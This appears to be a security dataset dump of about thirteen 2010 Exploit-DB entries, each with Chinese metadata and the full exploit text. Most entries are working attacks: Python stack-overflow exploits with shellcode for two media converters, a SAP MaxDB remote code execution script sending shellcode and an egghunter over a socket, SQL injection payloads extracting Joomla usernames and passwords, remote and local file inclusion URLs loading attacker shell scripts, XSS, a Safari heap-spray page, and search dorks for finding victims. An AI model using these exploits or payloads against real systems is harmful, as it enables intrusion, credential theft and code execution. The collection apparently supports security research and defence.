QLWD/code_shield huggingface dataset:
标题: Joomla! Component DW Graph - Local File Inclusion EDB-ID: 11978 CVE: 2010-1302 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-31 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component DW Graph Local File Inclusion
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios@gmail.com
Date  : 31 March 2010
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~


Application : DW Graph Component
Developer : DecryptWeb
License  : GPL            type  : Commercial
Price  : $5.00 
Date Added : 25 March 2010
Download : http://shop.decryptweb.com/extensions/joomla/graph-component.html
my gift (free) : http://rapidshare.com/files/370201416/dwgraphs_unzipfirst.zip.html


Description     :

DW Graph Component is a Joomla 1.5 native component
for displaying graphs. With this component you can
input numerical values with the help of CSV file and
can show graphical representation of the input data
in the site frontend. Various parameters can be configured
for display of graph.

---------------------------------------------------------------------------

file error : /components/com_dwgraphs/dwgraphs.php

how to exploit

http://127.0.0.1/index.php?option=com_dwgraphs&controller={lfi}%00


+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/11978
标题: Shadow Stream Recorder 3.0.1.7 - '.asx' Local Buffer Overflow EDB-ID: 11957 CVE: 2009-1642 类型: LOCAL 平台: WINDOWS 发布日期: 2010-03-30 漏洞利用脚本: #!/usr/bin/python
#
# Title: Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow
# Date: 03-29-2010
# Author: b0telh0
# Link: http://www.rm-to-mp3.net/downloads/ssrecordersetup.exe
# Tested on: Windows XP SP3


#
# windows/exec - 228 bytes
# EXITFUNC=seh, CMD=calc.exe
#

shellcode = ("\xda\xd6\xbe\xc4\x14\x6b\x17\x31\xc9\xd9\x74\x24\xf4\x58\xb1"
 "\x33\x83\xe8\xfc\x31\x70\x14\x03\x70\xd0\xf6\x9e\xeb\x30\x7f"
 "\x60\x14\xc0\xe0\xe8\xf1\xf1\x32\x8e\x72\xa3\x82\xc4\xd7\x4f"
 "\x68\x88\xc3\xc4\x1c\x05\xe3\x6d\xaa\x73\xca\x6e\x1a\xbc\x80"
 "\xac\x3c\x40\xdb\xe0\x9e\x79\x14\xf5\xdf\xbe\x49\xf5\xb2\x17"
 "\x05\xa7\x22\x13\x5b\x7b\x42\xf3\xd7\xc3\x3c\x76\x27\xb7\xf6"
 "\x79\x78\x67\x8c\x32\x60\x0c\xca\xe2\x91\xc1\x08\xde\xd8\x6e"
 "\xfa\x94\xda\xa6\x32\x54\xed\x86\x99\x6b\xc1\x0b\xe3\xac\xe6"
 "\xf3\x96\xc6\x14\x8e\xa0\x1c\x66\x54\x24\x81\xc0\x1f\x9e\x61"
 "\xf0\xcc\x79\xe1\xfe\xb9\x0e\xad\xe2\x3c\xc2\xc5\x1f\xb5\xe5"
 "\x09\x96\x8d\xc1\x8d\xf2\x56\x6b\x97\x5e\x39\x94\xc7\x07\xe6"
 "\x30\x83\xaa\xf3\x43\xce\xa0\x02\xc1\x74\x8d\x04\xd9\x76\xbe"
 "\x6c\xe8\xfd\x51\xeb\xf5\xd7\x15\x0d\x07\xea\x83\x99\xbe\x9f"
 "\xe9\xc4\x40\x4a\x2d\xf0\xc2\x7f\xce\x07\xda\xf5\xcb\x4c\x5c"
 "\xe5\xa1\xdd\x09\x09\x15\xde\x1b\x6a\xf8\x4c\xc7\x43\x9f\xf4"
 "\x62\x9c\x55");

junk = "\x41" * 26112
eip = "\x53\x93\x37\x7E"        # 7E379353  USER32.dll  (JMP ESP)
nops = "\x90" * 20
junk2 = "\x41" * 3636

try:
    file = open('b0t.asx','w');
    file.write(junk+eip+nops+shellcode+junk2);
    file.close();
    print "\n[+] b0t.asx created."
    print "[+] Open ssrecorder.exe..."
    print "[+] and drag and drop b0t.asx.\n"
except:
    print "\n[-] Error.. Can't write file to system.\n" URL: https://www.exploit-db.com/exploits/11957
标题: Yamamah 1.00 - Multiple Vulnerabilities EDB-ID: 11947 CVE: 2010-2335 2010-1300 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-30 漏洞利用脚本: ========================================================================================                  
| # Title    : Yamamah Version 1.00 Mullti Vulnerability           
| # Author   : indoushka                                                                                                              
| # Home     : www.dz-blackhat.com                                                                                                                                                                                                                   
| # Tested on: Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti                                                             
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 (Reinstall Admin Information):
 
     1- http://127.0.0.1/yamamah_v1/install-/?step=3 
     
     (Blind SQL/XPath injection):
     
    2- http://127.0.0.1/yamamah_v1/?calbums=1+and+31337-31337=0+--+
                    
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.m-y.cc * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
-------------------------------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/11947
标题: ASX to MP3 Converter 3.0.0.100 - Local Stack Overflow EDB-ID: 11958 CVE: 2009-1642 类型: LOCAL 平台: WINDOWS 发布日期: 2010-03-30 漏洞利用脚本: #!/usr/bin/python

import time
# ASX to MP3 Converter Version 3.0.0.100 => Local stack overflow exploit
# Author: Hazem Mofeed
# PoC: http://www.exploit-db.com/exploits/11930
# Tested On: Windows Xp Home Edition SP3
# Home: http://hakxer.wordpress.com

print ' Exploited by Hazem Mofeed \n'
print ' ASX to MP3 Converter Version 3.0.0.100 => Local stack overflow exploit \n'

print ' building exploit ..........'

time.sleep(3)

shellcode = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x0d\x25\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\x12\xcb\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65")

ret = "\x08\x6A\x83\x7C"
null = "\x90" * 10
exploit = ("http://" + "\x41" * 26117 + ret + null + shellcode )
try:
file = open("exploit.asx","w")
file.write(exploit)
file.close()
except:
print ' failed ' URL: https://www.exploit-db.com/exploits/11958
标题: ASX to MP3 Converter 3.0.0.100 - Local Stack Overflow (PoC) EDB-ID: 11930 CVE: 2009-1642 类型: DOS 平台: WINDOWS 发布日期: 2010-03-29 漏洞利用脚本: #!/usr/bin/perl
# ASX to MP3 Converter Version 3.0.0.100 Local Stack Overflow POC
# Exploited By mat
#
#EAX 00000001
#ECX 41414141
#EDX 00D30000
#EBX 00333ED8
#ESP 000F6C90
#EBP 000FBFB4
#ESI 77C2FCE0 msvcrt.77C2FCE0
#EDI 00006619
#EIP 41414141
###################################################################

my $ex="http://"."\x41" x 26121;
###################################################################
open(MYFILE,'>>mat.asx'); # (.smi) (.smil) (.wpl) (.wax)
print MYFILE $ex;
close(MYFILE);
################################################################### URL: https://www.exploit-db.com/exploits/11930
标题: Devana - SQL Injection EDB-ID: 11922 CVE: 2010-2673 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-28 漏洞利用脚本: # Exploit Title: Devana SQL Injection vulnerability
# Date: 28.03.2010
# Author: Valentin
# Category: webapps/0day
# Version: 
# Tested on: Debian lenny, Apache2, MySQL5
# CVE :  
# Code : 



:: General information
:: Devana SQL injection vulnerability detected
:: by Valentin Hoebel
:: valentin@xenuser.org

:: Product information
:: Name = Devana
:: Vendor = Busuioc Andrei / open source project
:: Vendor Website = http://devana.eu/
:: About the product = http://sourceforge.net/projects/devana/
:: Affected versions = All, latest vulnerable version: 1.6.6
:: Google dork: "Devana is an open source project !"


:: SQL Injection vulnerability
Devana is an open source browser game in which the player can choose between one of three factions and build an empire. Without being logged in, you have the possibility to view the profiles of other players, file: profile_view.php.
Sadly Devana doesn't check the input so SQL injection is possible.
There are currently seven other browser games being listed on sourceforge.net which are based on Devana. It is possible that they suffer from the same vulnerability.

Vulnerable URL
http://some-cool-domain.tld/profile_view.php?id=1

Test URL
http://some-cool-domain.tld/profile_view.php?id='

Exploit vulnerability, e.g. by displaying the version of the MySQL server:
http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--

Or by displaying the current MySQL user:
http://some-cool-domain.tld/profile_view.php?id=1+AND+1=2+UNION+SELECT+1,2,concat(user()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21--
--------------------------------------------------------------------------------------------------------


:: Additional information
:: Vendor contacted = 28.03.2010
:: Vulnerability is expected to be fixed soon.
:: Solution = Upgrade to new version when it is released. URL: https://www.exploit-db.com/exploits/11922
标题: TSOKA:CMS 1.1/1.9/2.0 - SQL Injection / Cross-Site Scripting EDB-ID: 11923 CVE: 2010-2675 2010-2674 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-28 漏洞利用脚本: [~]-----------------------------------------------------------------------------------------------------------------------
[~] TSOKA:CMS v1.1 , v1.9 AND v2.0 SQL Injection & XSS Vulnerability
[~]
[~] http://www.alanzard.com (from italy)
[~]
[~]
[~] ----------------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 28.03.2010
[~]
[~]
[~] http://security-sh3ll.blogspot.com
[~]
[~] ----------------------------------------------------------------------------------------------------------------------
[~] articolo&id= SQL & XSS
[~]
[~]
[~] Ex -
[~]
[~] http://[site]/?pag=articolo&id=">
[~] http://[site]/?pag=articolo&id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8--
[~]------------------------------------------------------------------------------------------------------------------------ URL: https://www.exploit-db.com/exploits/11923
标题: Uebimiau Webmail 2.7.2 - Multiple Vulnerabilities EDB-ID: 11906 CVE: 2007-5235 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-27 漏洞利用脚本: # Exploit Title: Uebimiau Webmail <= 2.7.2 Multiple Vulnerabilities.
# Date: 13/03/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: http://www.uebimiau.org/
# Version: <= 2.7.2
# Tested on: PHP
#
##[Cross Site Scripting]
Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it. (OWASP)
#
http://[SERVER]/webmail/index.php?lid=en_US&tid=clean&f_user=&six=3&f_email=[YOUR_XSS_HERE]
#
#
##[Directory Listing:]
#
http://[SERVER]/webmail/inc
http://[SERVER]/webmail/images/
http://[SERVER]/webmail/extra/
http://[SERVER]/webmail/themes/
http://[SERVER]/webmail/smarty
#
##[Full Path Disclosure:]
Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/omg/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view. (OWASP)
#
The following pages require files without checking if they exist. loading them will return a Fatal Errors and Warnings ("No such file or directory") with includes their Full-Path:
#
http://[SERVER]/webmail/inc/class.uebimiau.php
http://[SERVER]/webmail/inc/class.uebimiau_mail.php
http://[SERVER]/webmail/inc/config.php
http://[SERVER]/webmail/inc/inc.php
http://[SERVER]/webmail/smarty/Smarty_Compiler.class.php
http://[SERVER]/webmail/smarty/plugins/function.html_select_date.php
http://[SERVER]/webmail/smarty/plugins/function.html_select_time.php
http://[SERVER]/webmail/smarty/plugins/modifier.date_format.php
#
#
[e0f] URL: https://www.exploit-db.com/exploits/11906
标题: Open Web Analytics 1.2.3 - Multiple File Inclusions EDB-ID: 11903 CVE: 2010-2677 2010-2676 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-27 漏洞利用脚本: ===========================================================================
( #Topic    : Open Web Analytics 1.2.3
( #Bug type : multi file include
( #Download : http://downloads.openwebanalytics.com/owa/owa_1_2_3.tar
( #Advisory : 
===========================================================================
( #Author : ItSecTeam
( #Email  : Bug@ITSecTeam.com
( #Website: http://www.itsecteam.com
( #Forum  : http://forum.ITSecTeam.com
( #Original Advisory: www.ITSecTeam.com/en/vulnerabilities/vulnerability26.htm
( #Special Tnx : ahmadbady , M3hr@n.S And All Team Members!

vuls:===================================================================
path/mw_plugin.php

require_once "$IP/includes/SpecialPage.php";   

exploit:===================================================================

rfi : path/mw_plugin.php?IP=shell.txt?

lfi :path/index.php?owa_action=[lfi]%00
lfi :path/index.php?owa_do=[lfi]%00
-------------------------------------- URL: https://www.exploit-db.com/exploits/11903
标题: Apple iOS Safari - Remote Denial of Service EDB-ID: 11891 CVE: 2010-1176 类型: DOS 平台: IOS 发布日期: 2010-03-26 漏洞利用脚本: # Exploit Title: Remote DoS on Safari for iPhone & iPod Touch

# Date: 26/03/2010

# Author: Nishant Das Patnaik
# For more of Nishant's research, please visit:
# http://nishantdaspatnaik.yolasite.com/research.php

# Tested on: iPod Touch 3G (iPhone OS 3.1.3)

# Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device.
 
# Code:

---------PoC STARTS HERE----------------

<html>
<title> Remote DoS on Safari for iPhone & iPod Touch </title>
<body>
<script language="JavaScript">
var size="%u03e8";
var matrix = new Array();
var slope = 0x100000-(size.length*2+0x01020);
var bomb = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");
while(bomb.length<slope/2) { bomb+=bomb;}
var lh = bomb.substring(0,slope/2);
delete bomb;
for(i=0; i<0xC0; i++) {
matrix[i] = lh + size;
}
CollectGarbage();
var slope1=unescape("%u0b0b%u0b0b%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000AAAAAAAAAAAAAAAAAAAAAAAAA");
var matrix1 = new Array();
for(var x=0;x<1000;x++) matrix1.push(document.createElement("img"));
function ready() {
out1=document.createElement("tbody");
out1.click;
var out2 = out1.cloneNode(); 
out11.clearAttributes();
out1=null; CollectGarbage();
for(var x=0;x<matrix1.length;x++) matrix1[x].src=slope1;
out2.click;
}
</script>
<script>window.setTimeout("ready();",800);</script>
<center>
<h1> Remote DoS on Safari for iPhone & iPod Touch </h1>
<h2> (C) Nishant Das Patnaik </h2>
</center>
</body>
</html>

---------POC ENDS HERE---------------- URL: https://www.exploit-db.com/exploits/11891
标题: Direct News 4.10.2 - Multiple Remote File Inclusions EDB-ID: 11882 CVE: 2010-1342 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-25 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
Direct News 4.10.2 Multiple Remote File Include Vulnerability
Script: http://code.google.com/p/directnews/downloads/list
Author: mat
Mail: rahmat_punk@hotmail.com
---------------Ooooo------------------------------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

#################################################
#Vuln Code (directnews-4.10-open-20090506/admin/menu.php)
#
#<?...
#include_once $rootpath .'/library/lib.menu.php';
#include_once $rootpath .'/modules/menu/lib/treemenu.inc.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/admin/media/update_content.php)
#
#<?...
#require_once $adminroot . '/inc.php';
#require_once './lib.media.php';
#require_once $adminroot . '/verif_identite.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/library/class.backup.php)
#
#<?...
#require_once $adminroot .'/inc.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/library/lib.menu.php)
#
#<?...
#require_once $rootpath . '/library/class.menuPere.php';
#...?>
#################################################

Usage: http://[target]/[path]/admin/menu_xml.php?rootpath=http://[shellscript]
       http://[target]/[path]/admin/media/update_content.php?adminroot=http://[shellscript]
       http://[target]/[path]/library/class.backup.php?adminroot=http://[shellscript]
       http://[target]/[path]/library/lib.menu.php?rootpath=http://[shellscript]

Greetings: All Hackerz URL: https://www.exploit-db.com/exploits/11882
标题: Joomla! Component dcsFlashGames 2.0RC1 - 'catid' SQL Injection EDB-ID: 11884 CVE: 2010-1265 类型: WEBAPPS 平台: PHP 发布日期: 2010-03-26 漏洞利用脚本: [!]===========================================================================[!]

[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1

[!]===========================================================================[!]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]

[ XpL ]

666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--


[ d3m0 ]

http://server/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--


etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31


[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure .. URL: https://www.exploit-db.com/exploits/11884
标题: SAP MaxDB - Malformed Handshake Request Remote Code Execution EDB-ID: 11886 CVE: 2010-1185 类型: REMOTE 平台: WINDOWS 发布日期: 2010-03-26 漏洞利用脚本: #!/usr/bin/python

# Exploit title: SAP MaxDB Malformed Handshake Request Remote Code Execution
# Date: 2010.03.26
# Author: S2 Crew [Hungary]
# Software link: sap.com<http://sap.com>
# Version: 7.7.06.09
# Tested on: Windows XP SP2 EN
# CVE: ZDI-10-032
# Code:
#############################################################
# Trying 172.16.29.133...
# Connected to 172.16.29.133.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\sdb\data\wrk>
#############################################################

import socket
import sys
import os

sc = (
"\x31\xc9\xda\xda\xbe\x94\x3f\xbe\xea\xb1\x56\xd9\x74\x24\xf4"
"\x5f\x31\x77\x17\x03\x77\x17\x83\xef\xfc\x76\xca\x42\x02\xff"
"\x35\xbb\xd3\x9f\xbc\x5e\xe2\x8d\xdb\x2b\x57\x01\xaf\x7e\x54"
"\xea\xfd\x6a\xef\x9e\x29\x9c\x58\x14\x0c\x93\x59\x99\x90\x7f"
"\x99\xb8\x6c\x82\xce\x1a\x4c\x4d\x03\x5b\x89\xb0\xec\x09\x42"
"\xbe\x5f\xbd\xe7\x82\x63\xbc\x27\x89\xdc\xc6\x42\x4e\xa8\x7c"
"\x4c\x9f\x01\x0b\x06\x07\x29\x53\xb7\x36\xfe\x80\x8b\x71\x8b"
"\x72\x7f\x80\x5d\x4b\x80\xb2\xa1\x07\xbf\x7a\x2c\x56\x87\xbd"
"\xcf\x2d\xf3\xbd\x72\x35\xc0\xbc\xa8\xb0\xd5\x67\x3a\x62\x3e"
"\x99\xef\xf4\xb5\x95\x44\x73\x91\xb9\x5b\x50\xa9\xc6\xd0\x57"
"\x7e\x4f\xa2\x73\x5a\x0b\x70\x1a\xfb\xf1\xd7\x23\x1b\x5d\x87"
"\x81\x57\x4c\xdc\xb3\x35\x19\x11\x89\xc5\xd9\x3d\x9a\xb6\xeb"
"\xe2\x30\x51\x40\x6a\x9e\xa6\xa7\x41\x66\x38\x56\x6a\x96\x10"
"\x9d\x3e\xc6\x0a\x34\x3f\x8d\xca\xb9\xea\x01\x9b\x15\x45\xe1"
"\x4b\xd6\x35\x89\x81\xd9\x6a\xa9\xa9\x33\x1d\xee\x67\x67\x4d"
"\x98\x85\x97\x63\x04\x03\x71\xe9\xa4\x45\x29\x86\x06\xb2\xe2"
"\x31\x79\x90\x5e\xe9\xed\xac\x88\x2d\x12\x2d\x9f\x1d\xbf\x85"
"\x48\xd6\xd3\x11\x68\xe9\xfe\x31\xe3\xd1\x68\xcb\x9d\x90\x09"
"\xcc\xb7\x43\xaa\x5f\x5c\x94\xa5\x43\xcb\xc3\xe2\xb2\x02\x81"
"\x1e\xec\xbc\xb4\xe3\x68\x86\x7d\x3f\x49\x09\x7f\xb2\xf5\x2d"
"\x6f\x0a\xf5\x69\xdb\xc2\xa0\x27\xb5\xa4\x1a\x86\x6f\x7e\xf0"
"\x40\xf8\x07\x3a\x53\x7e\x08\x17\x25\x9e\xb8\xce\x70\xa0\x74"
"\x87\x74\xd9\x69\x37\x7a\x30\x2a\x47\x31\x19\x1a\xc0\x9c\xcb"
"\x1f\x8d\x1e\x26\x63\xa8\x9c\xc3\x1b\x4f\xbc\xa1\x1e\x0b\x7a"
"\x59\x52\x04\xef\x5d\xc1\x25\x3a\x57")

egghunter = (
"\x66\x81\xca\xff\x0f\x42\x52\x6a"
"\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x54\x30\x30\x57\x8b\xfa"
"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
)

host = "172.16.29.133"
port =  7210

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

ret = "\x08\xf1\xa0\x00" # HC

packet = (
"\x63\x00\x00\x00\x03\x2f\x00\x00\x01\x00\x00\x00"
"\xff\xff\xff\xff\x00\x00\x04\x00\x63\x00\x00\x00"
"\x00\x02\x4b\x00\x04\x09\x00\x00\x44\x20\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff"
"\x6d\x61" + ret + "\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x07\x49" + "A"*5000 + "T00WT00W" + sc + "\x41" * 2500 + egghunter + "\x90"*2500)

s.send(packet)
s.close() URL: https://www.exploit-db.com/exploits/11886